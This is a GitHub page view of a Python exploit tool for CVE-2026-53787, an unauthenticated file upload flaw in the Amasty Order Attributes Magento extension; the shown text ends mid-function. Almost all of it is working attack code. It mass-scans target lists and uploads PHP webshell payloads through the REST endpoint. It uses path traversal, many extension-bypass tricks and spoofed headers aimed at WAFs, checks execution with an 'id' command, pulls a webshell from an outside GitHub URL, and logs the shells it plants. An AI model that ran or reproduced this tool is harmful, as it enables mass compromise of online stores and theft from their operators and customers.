-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
1558 lines (1281 loc) · 60.1 KB
/
Copy pathmain.py
File metadata and controls
1558 lines (1281 loc) · 60.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-53787 Amasty Order Attributes Exploit
Unauthenticated Arbitrary File Upload via REST API
CVSS 9.3 - Critical RCE in Amasty Order Attributes
ATTACK CAPABILITIES:
- Path Traversal to /pub (bypass .htaccess PHP restrictions)
- Extension bypass (.php. .phar. trailing dots)
- Multiple payload types with obfuscation
- WAF bypass (Cloudflare, ModSecurity, AWS WAF)
- Real-time result saving
- Parallel extension testing
"""
import os
import sys
import random
import string
import base64
import urllib3
import json
import requests
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock
# Configure UTF-8 encoding for Windows
if sys.platform == 'win32':
try:
sys.stdout.reconfigure(encoding='utf-8')
sys.stderr.reconfigure(encoding='utf-8')
except:
pass
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# ==================== COLORS ====================
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
B = "\033[94m"
M = "\033[95m"
C = "\033[96m"
W = "\033[97m"
RST = "\033[0m"
BANNER = f"""{C}
█████╗ ███╗ ███╗ █████╗ ███████╗████████╗██╗ ██╗ ██████╗ ██████╗███████╗
██╔══██╗████╗ ████║██╔══██╗██╔════╝╚══██╔══╝╚██╗ ██╔╝ ██╔══██╗██╔════╝██╔════╝
███████║██╔████╔██║███████║███████╗ ██║ ╚████╔╝ ██████╔╝██║ █████╗
██╔══██║██║╚██╔╝██║██╔══██║╚════██║ ██║ ╚██╔╝ ██╔══██╗██║ ██╔══╝
██║ ██║██║ ╚═╝ ██║██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╗███████╗
╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝
{RST}
{Y}Amasty Order Attributes RCE{RST} | {G}CVE-2026-53787 (CVSS 9.3){RST}
{C}Author: Bob Marley (https://t.me/marleyybob123){RST}
"""
# ==================== CONFIG ====================
THREADS = 10
TIMEOUT = 15
RCE_TIMEOUT = 8
EXT_WORKERS = 8
VERBOSE = False # Global verbose flag
# Timestamped output directory
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
OUTPUT_DIR = f"Amasty_Results_{timestamp}"
# Thread-safe output
print_lock = Lock()
def safe_print(msg):
"""Thread-safe printing"""
with print_lock:
print(msg, flush=True)
def verbose_print(msg):
"""Print only in verbose mode"""
if VERBOSE:
safe_print(f"{B}[VERBOSE]{RST} {msg}")
# ==================== UTILITIES ====================
def ensure_output_dir():
"""Create output directory if not exists"""
if not os.path.exists(OUTPUT_DIR):
os.makedirs(OUTPUT_DIR)
def normalize_url(url):
"""Normalize URL to include http/https"""
if not url.startswith(('http://', 'https://')):
return f"https://{url}"
return url
def get_bypass_headers():
"""WAF bypass headers - Cloudflare, ModSecurity, AWS WAF"""
return {
'X-Forwarded-For': '127.0.0.1',
'X-Originating-IP': '127.0.0.1',
'X-Remote-IP': '127.0.0.1',
'X-Remote-Addr': '127.0.0.1',
'X-Client-IP': '127.0.0.1',
'X-Host': '127.0.0.1',
'X-Forwarded-Host': '127.0.0.1',
'X-Real-IP': '127.0.0.1',
'Forwarded': 'for=127.0.0.1;by=127.0.0.1;host=127.0.0.1',
'X-Original-URL': '/',
'X-Rewrite-URL': '/',
'X-Custom-IP-Authorization': '127.0.0.1',
'X-ProxyUser-IP': '127.0.0.1',
'True-Client-IP': '127.0.0.1',
'CF-Connecting-IP': '127.0.0.1',
'Referer': 'https://www.google.com/',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Content-Type': 'application/json'
}
def gen_random(length=8):
"""Generate random string"""
return ''.join(random.choice(string.ascii_lowercase) for _ in range(length))
def get_bob_shell_code():
"""Get Bob Marley webshell from GitHub"""
try:
url = "https://raw.githubusercontent.com/Bob-Marley-Backup/LAB-Uncomplete/refs/heads/main/bob.php"
r = requests.get(url, timeout=10, verify=False)
if r.status_code == 200:
return r.text
except:
pass
# Fallback
return "<?php system($_GET['cmd']); ?>"
def read_targets(file_path):
"""Read targets from file"""
try:
encodings = ['utf-8', 'latin-1', 'cp1252']
for encoding in encodings:
try:
with open(file_path, 'r', encoding=encoding) as f:
targets = [normalize_url(line.strip()) for line in f if line.strip()]
return targets
except UnicodeDecodeError:
continue
return []
except Exception as e:
safe_print(f"{R}[ERROR]{RST} Reading file: {e}")
return []
def get_amasty_endpoints():
"""Get all possible Amasty upload endpoints"""
return [
'/rest/V1/amasty_orderattr/uploadFile',
'/rest/all/V1/amasty_orderattr/uploadFile',
'/rest/default/V1/amasty_orderattr/uploadFile',
]
# ==================== PAYLOADS ====================
def get_payloads():
"""Get different payload types for RCE"""
return {
'minimal': "<?php system($_GET['cmd']); ?>",
'passthru': "<?php passthru($_GET['cmd']); ?>",
'exec': "<?php echo shell_exec($_GET['cmd']); ?>",
'standard': "<?php @eval($_POST['cmd']); ?>",
'obfuscated': "<?php $a='shell'.'_exec';echo $a($_GET['cmd']); ?>",
'fingerprint': "<?php echo 'GOOD'; echo 3*395; ?>" # Wild attack signature
}
# ==================== SCANNER ====================
def check_vulnerable(url):
"""Check if target has vulnerable Amasty endpoint"""
try:
headers = get_bypass_headers()
verbose_print(f"Scanning {url}")
for endpoint in get_amasty_endpoints():
full_url = f"{url}{endpoint}"
verbose_print(f"Testing endpoint: {full_url}")
# Test with minimal payload
test_data = {
"fileContent": {
"base64_encoded_data": base64.b64encode(b"test").decode(),
"fileName_with_extension": f"{gen_random()}.txt"
}
}
try:
r = requests.post(
full_url,
json=test_data,
headers=headers,
timeout=TIMEOUT,
verify=False,
allow_redirects=False
)
verbose_print(f"Response status: {r.status_code}")
# Check for success indicators
if r.status_code == 200:
verbose_print(f"Response body: {r.text[:200]}")
try:
resp = r.json()
verbose_print(f"JSON response: {resp}")
# Vulnerable if:
# 1. Returns file path as string (e.g., "/c/w/filename.txt")
# 2. Returns dict with file/url/path keys
# 3. Returns empty object {} (accepted without attribute_code)
# NOT vulnerable if returns specific error requiring attribute_code
# Check if response is a file path string
if isinstance(resp, str) and len(resp) > 0:
# If it looks like a file path, it's vulnerable
if '/' in resp and resp.endswith('.txt'):
verbose_print(f"VULNERABLE! Got file path string: {resp}")
return True, endpoint
# Check if response is dict with file info
if isinstance(resp, dict):
if 'file' in resp or 'url' in resp or 'path' in resp:
verbose_print(f"VULNERABLE! Found file/url/path in response")
return True, endpoint
# Check if it's truly empty success (vulnerable) vs error response
if resp == {} or len(resp) == 0:
verbose_print(f"VULNERABLE! Empty success response")
return True, endpoint
# If we got a response with 'message' containing attribute error, it's patched
if 'message' in resp and 'attribute' in str(resp['message']).lower():
verbose_print(f"Patched - requires attribute_code")
continue
except ValueError:
# Not JSON, might be vulnerable if 200 status
verbose_print(f"Not JSON response")
if r.text and len(r.text) < 1000: # Avoid false positives from HTML
verbose_print(f"VULNERABLE! Non-JSON 200 response")
return True, endpoint
except requests.exceptions.Timeout:
verbose_print(f"Timeout on {full_url}")
continue
except Exception as e:
verbose_print(f"Error: {str(e)}")
continue
verbose_print(f"Not vulnerable")
return False, None
except Exception as e:
verbose_print(f"Fatal error: {str(e)}")
return False, None
def scan_targets(targets):
"""Scan targets for Amasty vulnerability"""
safe_print(f"\n{C}[*]{RST} Scanning {len(targets)} targets with {THREADS} threads...")
safe_print(f"{C}[*]{RST} Checking for CVE-2026-53787 (Amasty Order Attributes)...")
safe_print(f"{Y}[!]{RST} Note: Only sites WITH Amasty extension will be vulnerable")
safe_print(f"{Y}[!]{RST} This is NOT a general Magento exploit - it's Amasty-specific\n")
vulnerable = []
completed = 0
ensure_output_dir()
vuln_file = os.path.join(OUTPUT_DIR, "Vulnerable.txt")
def scan_single(url):
nonlocal completed
is_vuln, endpoint = check_vulnerable(url)
completed += 1
if completed % 50 == 0:
safe_print(f"{Y}[PROGRESS]{RST} {completed}/{len(targets)} scanned...")
if is_vuln:
safe_print(f"{G}[VULN]{RST} {url}")
with print_lock:
with open(vuln_file, 'a') as f:
f.write(f"{url}\n")
return (url, endpoint)
return None
with ThreadPoolExecutor(max_workers=THREADS) as executor:
futures = [executor.submit(scan_single, url) for url in targets]
for future in as_completed(futures):
result = future.result()
if result:
vulnerable.append(result)
safe_print(f"\n{G}[+]{RST} Scan complete!")
safe_print(f"{G}[+]{RST} Found {len(vulnerable)}/{len(targets)} vulnerable targets")
safe_print(f"{G}[+]{RST} Results saved: {vuln_file}\n")
return vulnerable
# ==================== POC UPLOAD ====================
def upload_poc(url, marker="Bob Marley is here"):
"""Upload PoC text file"""
try:
headers = get_bypass_headers()
filename = f"{gen_random()}.txt"
verbose_print(f"Trying to upload to {url}")
verbose_print(f"Filename: {filename}")
for endpoint in get_amasty_endpoints():
full_url = f"{url}{endpoint}"
verbose_print(f"Testing endpoint: {full_url}")
payload = {
"fileContent": {
"base64_encoded_data": base64.b64encode(marker.encode()).decode(),
"fileName_with_extension": filename
}
}
try:
r = requests.post(
full_url,
json=payload,
headers=headers,
timeout=RCE_TIMEOUT,
verify=False,
allow_redirects=False
)
verbose_print(f"Upload response status: {r.status_code}")
verbose_print(f"Upload response body: {r.text[:200]}")
if r.status_code == 200:
try:
resp_json = r.json()
verbose_print(f"JSON response: {resp_json}")
except:
verbose_print("Response is not JSON")
# Amasty stores files with char1/char2 subdirectories
char1 = filename[0]
char2 = filename[1]
# Try to access uploaded file in multiple possible locations
possible_paths = [
f"{url}/media/amasty_checkout/{char1}/{char2}/{filename}",
f"{url}/pub/media/amasty_checkout/{char1}/{char2}/{filename}",
]
for file_url in possible_paths:
verbose_print(f"Checking file at: {file_url}")
try:
verify = requests.get(
file_url,
headers=get_bypass_headers(),
timeout=5,
verify=False,
allow_redirects=False
)
verbose_print(f"File check status: {verify.status_code}")
if verify.status_code == 200:
if marker in verify.text:
verbose_print(f"SUCCESS! Marker found in response")
return True, file_url, endpoint
else:
verbose_print(f"File exists but marker not found. Content: {verify.text[:100]}")
except Exception as e:
verbose_print(f"Error checking file: {str(e)}")
continue
except Exception as e:
verbose_print(f"Error during upload: {str(e)}")
continue
verbose_print("All endpoints and paths failed")
return False, None, None
except Exception as e:
verbose_print(f"Fatal error in upload_poc: {str(e)}")
return False, None, None
def poc_batch(targets, marker):
"""Batch PoC upload"""
safe_print(f"\n{Y}[!]{RST} TIP: Run option 1 (Scan) first to identify vulnerable targets")
safe_print(f"{C}[*]{RST} Uploading PoC files to {len(targets)} targets...")
safe_print(f"{C}[*]{RST} Marker: {marker}")
if VERBOSE:
safe_print(f"{B}[*]{RST} Verbose mode enabled - showing detailed errors\n")
else:
safe_print("")
ensure_output_dir()
success_file = os.path.join(OUTPUT_DIR, "PoC.txt")
successful = 0
completed = 0
def upload_single(url):
nonlocal successful, completed
success, file_url, endpoint = upload_poc(url, marker)
completed += 1
if completed % 100 == 0:
safe_print(f"{Y}[PROGRESS]{RST} {completed}/{len(targets)} tested... ({successful} successful)")
if success:
safe_print(f"{G}[SUCCESS]{RST} {url}")
safe_print(f"{G} URL: {file_url}{RST}")
successful += 1
with print_lock:
with open(success_file, 'a') as f:
f.write(f"{file_url}\n")
return file_url
else:
if VERBOSE or len(targets) < 10: # Always show failures for small lists
safe_print(f"{R}[FAILED]{RST} {url}")
return None
with ThreadPoolExecutor(max_workers=THREADS) as executor:
futures = [executor.submit(upload_single, url) for url in targets]
for future in as_completed(futures):
future.result()
safe_print(f"\n{G}[+]{RST} PoC upload complete!")
safe_print(f"{G}[+]{RST} Success: {successful}/{len(targets)}")
if successful > 0:
safe_print(f"{G}[+]{RST} Results: {success_file}")
else:
safe_print(f"{Y}[!]{RST} No successful uploads. Check verbose output above for details.")
safe_print("")
# ==================== PATH TRAVERSAL RCE ====================
def upload_path_traversal(url, payload_code, extension='.php'):
"""
Upload with path traversal to escape to /pub directory
Bypasses .htaccess restrictions in pub/media
"""
try:
headers = get_bypass_headers()
verbose_print(f"Path traversal attack on {url}")
payloads = get_payloads()
# Try each payload type
for payload_type, payload_code in payloads.items():
# Generate ONE filename for this payload attempt
base_filename = f"{gen_random(6)}{extension}"
verbose_print(f"Trying payload: {payload_type} with file: {base_filename}")
# Path traversal patterns (3 levels MAX - security boundary limit)
# 4+ levels triggers: "Path cannot be used with directory" error
traversal_paths = [
f"../../../{base_filename}", # 3 levels: Escape to /media/ (v3.16.0) ✅
f"../../{base_filename}", # 2 levels: Partial escape
f"{base_filename}" # Standard: No traversal (fallback)
]
for trav_path in traversal_paths:
verbose_print(f"Trying traversal: {trav_path}")
for endpoint in get_amasty_endpoints():
full_url = f"{url}{endpoint}"
verbose_print(f"Uploading to: {full_url} with filename: {trav_path}")
upload_data = {
"fileContent": {
"base64_encoded_data": base64.b64encode(payload_code.encode()).decode(),
"fileName_with_extension": trav_path
}
}
try:
r = requests.post(
full_url,
json=upload_data,
headers=headers,
timeout=RCE_TIMEOUT,
verify=False
)
verbose_print(f"Upload response: {r.status_code}")
if r.status_code == 200:
actual_path = None
try:
resp_body = r.json()
verbose_print(f"Upload response body: {resp_body}")
# Response is a string like "/c/w/filename.txt"
if isinstance(resp_body, str):
actual_path = resp_body
except:
verbose_print(f"Upload response body (not JSON): {r.text[:200]}")
verbose_print(f"Upload successful! Now testing RCE...")
# Build test URLs - check if path traversal actually escaped
test_urls = []
if actual_path:
# Server returned path - might be sanitized (e.g., "/_/_/../../../filename")
verbose_print(f"Using actual path from response: {actual_path}")
# PRIORITY: Test escape paths first (based on confirmed manual testing)
test_urls.append(f"{url}/media/{base_filename}") # v3.16.0: Escaped amasty_checkout to /media ✅
test_urls.append(f"{url}/pub/{base_filename}") # v<2.4.2: Escaped to /pub
test_urls.append(f"{url}/{base_filename}") # v<2.4.2: Escaped to webroot
test_urls.append(f"{url}/pub/media/{base_filename}") # Partial escape
# Test sanitized path that redirects (e.g., /media/amasty_checkout/_/_/../../../ → /media/)
test_urls.append(f"{url}/media/amasty_checkout{actual_path}") # Sanitized redirect path ✅
test_urls.append(f"{url}/pub/media/amasty_checkout{actual_path}")
else:
# Try all possible escape locations (priority based on version behavior)
test_urls.append(f"{url}/media/{base_filename}") # v3.16.0: Most common - escaped to /media ✅
test_urls.append(f"{url}/pub/{base_filename}") # v<2.4.2: Older versions - escaped to /pub
test_urls.append(f"{url}/{base_filename}") # v<2.4.2: Webroot escape
test_urls.append(f"{url}/pub/media/{base_filename}") # Partial escape
# Fallback: Maybe traversal failed, landed in amasty_checkout with char1/char2
char1 = base_filename[0]
char2 = base_filename[1]
test_urls.append(f"{url}/media/amasty_checkout/{char1}/{char2}/{base_filename}")
test_urls.append(f"{url}/pub/media/amasty_checkout/{char1}/{char2}/{base_filename}")
# Test each possible URL with id command
for test_url in test_urls:
# Add command parameter
verify_url = f"{test_url}?cmd=id"
verbose_print(f"Testing RCE at: {verify_url}")
try:
verify = requests.get(
verify_url,
headers=get_bypass_headers(),
timeout=5,
verify=False
)
verbose_print(f"RCE test status: {verify.status_code}")
if verify.status_code == 200:
output = verify.text.strip()
verbose_print(f"RCE output: {output[:100]}")
# Check for successful execution (id command returns uid=)
if 'uid=' in output:
# Avoid false positives
if '<html' not in output.lower()[:100]:
verbose_print(f"RCE SUCCESS!")
return True, test_url, payload_type, trav_path, endpoint
except Exception as e:
verbose_print(f"RCE test error: {str(e)}")
continue
except Exception as e:
verbose_print(f"Upload error: {str(e)}")
continue
return False, None, None, None, None
except Exception as e:
return False, None, None, None, None
def path_traversal_batch(targets):
"""Batch path traversal exploitation - Tests multiple extensions"""
safe_print(f"\n{M}[*]{RST} PATH TRAVERSAL RCE - Escape to /media/ directory")
safe_print(f"{M}[*]{RST} This bypasses .htaccess PHP restrictions in amasty_checkout")
safe_print(f"{M}[*]{RST} Testing {len(targets)} targets with multiple extensions...\n")
# Extensions to test with path traversal (proven effective)
extensions = [
# PRIORITY: Trailing dots (proven bypass)
'.php.',
'.phar.',
'.phtml.',
'.php5.',
'.php..',
'.phar..',
'.phtml..',
'.phtml...',
# Standard PHP extensions
'.php',
'.phar',
'.phtml',
'.php5',
'.pht',
# PHTML case variations (comprehensive - PROVEN working!)
'.PhTml',
'.pHtml',
'.PHTML',
'.pHtMl',
'.PHtml',
'.phTml',
'.phTmL',
'.phtMl',
'.PhTmL',
'.pHTml',
'.PHtMl',
# PHTML with trailing dots
'.PhTml.',
'.PhTml..',
'.pHtml.',
'.pHtml..',
'.PHTML.',
'.PHTML..',
'.pHtMl.',
'.PHtml..',
'.phTml...',
# PHT variations
'.phT',
'.pHt',
'.PHT',
'.pht.',
'.phT..',
# Other case variations
'.phAr',
'.PHP',
'.pHp',
'.PHAR',
# Alternative extensions
'.inc',
'.inc.',
]
ensure_output_dir()
shells_file = os.path.join(OUTPUT_DIR, "PathTraversal_Shells.txt")
successful = 0
def exploit_single(url):
nonlocal successful
safe_print(f"{C}[*]{RST} Testing {url} with {len(extensions)} extensions...")
# Try each extension until one works
for extension in extensions:
verbose_print(f"Trying path traversal with extension: {extension}")
success, shell_url, payload_type, trav_path, endpoint = upload_path_traversal(url, "", extension)
if success:
safe_print(f"{G}[RCE SUCCESS]{RST} {url} - Extension {extension} worked!")
safe_print(f"{G} Shell: {shell_url}{RST}")
safe_print(f"{G} Payload: {payload_type} | Path: {trav_path}{RST}")
successful += 1
with print_lock:
with open(shells_file, 'a') as f:
f.write(f"{shell_url}\n")
return shell_url # Found working extension, stop testing
# No extensions worked
safe_print(f"{R}[FAILED]{RST} {url} - No extensions worked with path traversal\n")
return None
with ThreadPoolExecutor(max_workers=THREADS) as executor:
futures = [executor.submit(exploit_single, url) for url in targets]
for future in as_completed(futures):
future.result()
safe_print(f"\n{G}[+]{RST} Path traversal exploitation complete!")
safe_print(f"{G}[+]{RST} Shells deployed: {successful}/{len(targets)}")
safe_print(f"{G}[+]{RST} Results: {shells_file}\n")
# ==================== STANDARD UPLOAD ====================
def upload_standard_rce(url, extension='.php'):
"""Standard upload to pub/media/amasty_checkout"""
try:
headers = get_bypass_headers()
filename = f"{gen_random(6)}{extension}"
verbose_print(f"Standard upload to {url}")
payloads = get_payloads()
for payload_type, payload_code in payloads.items():
verbose_print(f"Trying payload: {payload_type}")
for endpoint in get_amasty_endpoints():
full_url = f"{url}{endpoint}"
verbose_print(f"Uploading to: {full_url} with filename: {filename}")
upload_data = {
"fileContent": {
"base64_encoded_data": base64.b64encode(payload_code.encode()).decode(),
"fileName_with_extension": filename
}
}
r = requests.post(
full_url,
json=upload_data,
headers=headers,
timeout=RCE_TIMEOUT,
verify=False
)
verbose_print(f"Upload response: {r.status_code}")
if r.status_code == 200:
actual_path = None
try:
resp_body = r.json()
verbose_print(f"Upload response body: {resp_body}")
if isinstance(resp_body, str):
actual_path = resp_body
except:
verbose_print(f"Upload response body (not JSON): {r.text[:200]}")
# Build test URLs from actual response or fallback
test_urls = []
if actual_path:
verbose_print(f"Using actual path: {actual_path}")
test_urls.append(f"{url}/media/amasty_checkout{actual_path}?cmd=echo+BOBTEST123")
test_urls.append(f"{url}/pub/media/amasty_checkout{actual_path}?cmd=echo+BOBTEST123")
else:
# Fallback to char1/char2
char1 = filename[0]
char2 = filename[1]
test_urls.append(f"{url}/media/amasty_checkout/{char1}/{char2}/{filename}?cmd=echo+BOBTEST123")
test_urls.append(f"{url}/pub/media/amasty_checkout/{char1}/{char2}/{filename}?cmd=echo+BOBTEST123")
for test_url in test_urls:
verbose_print(f"Testing standard upload RCE at: {test_url}")
try:
verify = requests.get(
test_url,
headers=get_bypass_headers(),
timeout=5,
verify=False
)
verbose_print(f"Standard RCE status: {verify.status_code}")
if verify.status_code == 200:
output = verify.text
verbose_print(f"Standard RCE output: {output[:100]}")
if 'BOBTEST123' in output and '<html' not in output.lower()[:100]:
verbose_print(f"Standard RCE SUCCESS!")
return True, test_url.split('?')[0], payload_type, endpoint
except Exception as e:
verbose_print(f"Standard RCE error: {str(e)}")
continue
return False, None, None, None
except:
return False, None, None, None
def standard_upload_batch(targets):
"""Batch standard upload"""
safe_print(f"\n{C}[*]{RST} Standard RCE upload to pub/media/amasty_checkout")
safe_print(f"{Y}[!]{RST} Note: May be blocked by .htaccess in some configs")
safe_print(f"{C}[*]{RST} Testing {len(targets)} targets...\n")
ensure_output_dir()
shells_file = os.path.join(OUTPUT_DIR, "Standard_Shells.txt")
successful = 0
def exploit_single(url):
nonlocal successful
success, shell_url, payload_type, endpoint = upload_standard_rce(url)
if success:
safe_print(f"{G}[RCE SUCCESS]{RST} {url}")
safe_print(f"{G} Shell: {shell_url}{RST}")
safe_print(f"{G} Payload: {payload_type}{RST}")
successful += 1
with print_lock:
with open(shells_file, 'a') as f:
f.write(f"{shell_url}|{payload_type}\n")
return shell_url
else:
safe_print(f"{R}[FAILED]{RST} {url}")
return None
with ThreadPoolExecutor(max_workers=THREADS) as executor:
futures = [executor.submit(exploit_single, url) for url in targets]
for future in as_completed(futures):
future.result()
safe_print(f"\n{G}[+]{RST} Standard upload complete!")
safe_print(f"{G}[+]{RST} Shells deployed: {successful}/{len(targets)}")
safe_print(f"{G}[+]{RST} Results: {shells_file}\n")
# ==================== STANDARD RCE WITH MULTIPLE EXTENSIONS ====================
def standard_rce_multi_extensions(targets):
"""Test standard upload with multiple extensions - detailed RCE.txt output"""
safe_print(f"\n{G}[*]{RST} STANDARD RCE - Multiple Extension Testing")
safe_print(f"{G}[*]{RST} Testing common PHP extensions with parallel workers\n")
extensions = [
# PRIORITY: Trailing dots (PROVEN to work!)
'.php.',
'.phar.',
'.phtml.',
'.php5.',
'.php4.',
'.php3.',
'.shtml.',
# Double trailing dots
'.php..',
'.phar..',
'.phtml..',
# Triple trailing dots
'.phtml...',
'.php...',
'.phar...',
# Trailing spaces
'.php ',
'.phar ',
'.phtml ',
# Standard PHP extensions
'.php',
'.phar',
'.php5',
'.php4',
'.php3',
'.phtml',
'.pht',
'.shtml',
# PHTML case variations (comprehensive - tested working!)
'.PhTml',
'.pHtml',
'.PHTML',
'.pHtMl',
'.PHtml',
'.phTml',
'.phTmL',
'.phtMl',
'.PhTmL',
'.pHTml',
'.PHtMl',
# PHTML with trailing dots
'.PhTml.',
'.PhTml..',
'.pHtml.',
'.pHtml..',
'.PHTML.',
'.PHTML..',
'.pHtMl.',
'.PHtml..',
'.phTml...',
# PHT variations
'.phT',
'.pHt',
'.PHT',
'.pht.',
'.phT..',
# Other case sensitivity bypass
'.pHp',
'.pHP5',
'.phAr',
'.PhAr',
'.PHAR',
'.Php',
'.PHP',
# Null byte injection (truncates at %00)
'.php%00.jpg',
'.phar%00.txt',
'.php%00.png',
'.php5%00.jpg',
'.phtml%00.gif',
# Double extensions
'.jpg.php',
'.png.php',
'.txt.php',
'.pdf.phar',
'.gif.php',
'.jpeg.php5',
'.txt.phtml',
# Alternative PHP-like extensions
'.inc',
'.inc.',
'.module',
'.pgif',
]
ensure_output_dir()
rce_file = os.path.join(OUTPUT_DIR, "RCE.txt")
for url in targets:
start_time = datetime.now()
safe_print(f"{C}[*]{RST} Testing {url} with {len(extensions)} extensions...")
results = []
with ThreadPoolExecutor(max_workers=EXT_WORKERS) as executor:
futures = {executor.submit(test_extension, url, ext): ext for ext in extensions}
for future in as_completed(futures):
result = future.result()
if result['success']:
safe_print(f"{G}[SUCCESS]{RST} {url} - Extension {result['extension']} worked!")
safe_print(f"{G} Shell: {result['url']}{RST}")
results.append(result)
elapsed = (datetime.now() - start_time).total_seconds()
if not results:
safe_print(f"{R}[FAILED]{RST} {url} - No extensions worked\n")
else:
safe_print(f"{G}[+]{RST} {url} - {len(results)} extensions successful\n")
# Write detailed output to RCE.txt (like main.py format)
with print_lock:
with open(rce_file, 'a') as f:
f.write("=" * 80 + "\n")
f.write(f"Target: {url}\n")
f.write(f"Working Extensions: {len(results)}\n")
f.write(f"Time: {elapsed:.1f}s\n")
f.write("=" * 80 + "\n\n")
for result in results:
f.write(f"Extension: {result['extension']}\n")
f.write(f"Payload Type: {result['payload_type']}\n")
f.write(f"Shell URL: {result['url']}\n")
f.write(f"Test: curl '{result['url']}?cmd=id'\n")
f.write(f"Output: {result['output']}\n\n")
f.write("\n")
safe_print(f"{G}[+]{RST} Standard RCE testing complete!")
safe_print(f"{G}[+]{RST} Results: {rce_file}\n")
# ==================== EXTENSION BYPASS ====================
def test_extension(url, extension):
"""Test single extension - standard upload with id command"""
try:
headers = get_bypass_headers()
payload = get_payloads()['minimal']
verbose_print(f"Testing extension {extension}")
for endpoint in get_amasty_endpoints():
# Generate NEW random filename for each endpoint to avoid _1 _2 duplicates
filename = f"{gen_random(6)}{extension}"
full_url = f"{url}{endpoint}"
verbose_print(f"Uploading {filename} to: {full_url}")
upload_data = {
"fileContent": {
"base64_encoded_data": base64.b64encode(payload.encode()).decode(),
"fileName_with_extension": filename
}
}
r = requests.post(
full_url,
json=upload_data,
headers=headers,
timeout=RCE_TIMEOUT,
verify=False
)
verbose_print(f"Upload response: {r.status_code}")
if r.status_code == 200:
actual_path = None
try:
resp_body = r.json()
verbose_print(f"Upload response body: {resp_body}")
if isinstance(resp_body, str):